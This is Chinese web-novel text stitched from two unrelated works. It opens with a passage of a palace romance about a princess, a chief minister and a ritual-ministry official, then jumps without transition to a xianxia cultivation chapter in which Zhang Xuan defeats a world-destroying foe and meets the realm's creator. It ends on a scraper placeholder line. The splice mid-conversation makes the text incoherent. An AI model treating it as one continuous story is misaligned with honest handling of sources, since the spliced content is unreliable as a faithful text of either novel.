“下次要是真心向本宫示好,别搞那些个虚的,直接爬本宫的床就可……” 她心里骂了句脏话,不等晏骁寒发怒,转身便拂袖而去。 即墨头都要埋到地砖里头去了,天啊,他看见了什么,这还让不让人活? 青天白日,当朝首辅被恶贯满盈的长公主报复性的轻薄,本以为晏骁寒定会发怒,将长公主碎尸万段。 当然,晏骁寒也确实发怒了,却不是对慕馨宁。 “吴萸在哪?” 即墨一个哆嗦,完了完了,他还是准备一口棺材,等着给吴萸收尸吧。 此时的吴萸,正叼着一颗茅草懒散的在路边踱步。 好不容易看见慕馨宁的人影,他瞬间站直身子,整理了一下衣襟,又将茅草丢在地上,然后一脸正色的上前拱手: “长公主,下官是礼部主事,今年的新科榜眼吴萸,负责接待北赫等国使臣的一切琐事,您若是有什么交代,可以直接吩咐下官。” 慕馨宁看了他一眼,轻哼一声:“本宫就只配支使一个八品主事?礼部侍郎呢,礼部尚书呢,都在躲清闲?” 她越说越气:“本宫要办的事情多了,你一个礼部主事,能办的好?” 吴萸偷偷看了慕馨宁好几眼,这人怎么跟吃了火炭似的,说话这么呛人,听说最近长公主的脾气不是已经好了许多了? 他组织了一下语言,本来应付的话都到嘴边了,不经意就看见了不远处的晏骁寒。 他眼中带笑,忽然靠近慕馨宁,压低了声音:“长公主是在晏首辅那里受了气吧,您要是想……” 慕馨宁皱眉:“什么委屈?” 再说了,就算受了委屈,她能跟一个外人说? 她跟这个吴萸很熟吗? 这人都要贴到她身上来了,还有这副谄媚的样子,半点也没有读书人的风骨。 吴萸原本说的慷慨激昂,口水都要喷出来了,可是看见慕馨宁眼里的嫌弃,顿时犹如被泼了一盆凉水。 他挠了挠耳朵,有些不可置信:“长公主不是惦记着晏首辅吗,下官跟晏首辅可是至交好友。” 所以,别跟我摆一张臭脸,快点拉拢我,有我的帮忙,你肯定会尽快把人拿下的。 毕竟……呵呵…… 吴萸一想到之前晏骁寒一脸认真又郑重的向他讨教问题,心里的成就感都要溢出来了。 慕馨宁翻了个白眼:“脑子不好就去治。” 她和晏骁寒不可能再和平共处了,这货跟晏骁寒可是穿一条裤子,能帮她什么忙,找她麻烦倒是有可能。 慕馨宁直接将吴萸甩到身后,吴萸看着慕馨宁消失在远处的人影,一脸懵。 这长公主不会真的不喜欢晏骁寒吧? “啊……松手……快松手……” 慕馨宁刚拐过一道宫墙,身后忽然传来吴萸的惨叫声。 杜若有些担忧:“主子,他不会遇见刺客了吧?” 鸦羽:“你看哪个遇刺的人能让刺客松手?” 杜若:“……” 刚出宫门,慕馨宁就看见一辆马车,那马车有些熟悉。 很快,马车里下来一道人影,直到人走近了,慕馨宁才认出来是崔惜颜。 这才多久不见,崔惜颜变化更大了,人瘦的不成样子,周身都散发的阴郁之气更甚。 “长公主。”她朝着慕馨宁行礼。 慕馨宁问:“你在这里做什么?” 看她也不是想要进宫的样子,好像是在等人。 崔惜颜:“我在等承安,他是不是在宫里?” 慕馨宁点头:“那你等着吧。” 她跟崔惜颜可没什么话说,况且,因为元青和元景指认信武侯夫人暗害她的事情,信武侯府又受了打击,崔惜颜可不会一直隐忍不发,没准已经想好了算计她的法子。 她刚要走,崔惜颜又上前一步:“表姐,我有件事想要请你帮忙……” 慕馨宁有些诧异,找她帮忙,崔惜颜可真能开的了这个口。 杜若看了一眼慕馨宁的神色:“我们主子最近正在忙着接待各国使臣的事情,怕是帮不上崔小姐什么忙,您还是另请高明吧。” 杜若打心眼里瞧不上崔惜颜,这国公府都退婚了,崔惜颜也不知道避嫌,还如此大张旗鼓的到宫门口等人。 若是霍承安能娶她还好,若是不能娶她过门,崔惜颜的名声估计会更臭,将来还有哪个大户人家愿意娶她? 崔惜颜没说话,只目光阴森盯着杜若。 一个贱婢竟然如此狂妄,看来是嫌自己命太长了,她轻易动不了慕馨宁,还不能收拾这个贱婢? 杜若被瞪的浑身发寒,她挪着步子到鸦羽身后:“你这么看我干什么,难道还想吃了我?” 崔惜颜咬牙,刚要开口,慕馨宁神色淡淡的道:“本宫确实很忙,不如你去找找宋菀菀,毕竟你们是最好的姐妹了。” 一提起宋菀菀,崔惜颜更是怨恨,那个贱人用得着她的时候,对她一阵巴结讨好,等她需要帮助的时候不是躲的远远的,就是说一些冠冕堂皇的话。 什么东西,不过就是一个上不台面的野种而已! 慕馨宁已经上了马车,可是崔惜颜还是跟上来纠缠:“长公主,好歹我们以前姐妹一场,你就帮我这一次,事成之后,我一定重谢。” 慕馨宁挑开车帘,居高临下的看着她:“先说说,你想让本宫做什么?” 崔惜颜捏了捏手里的帕子:“那你这是答应我了?” 第94章 救救他 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!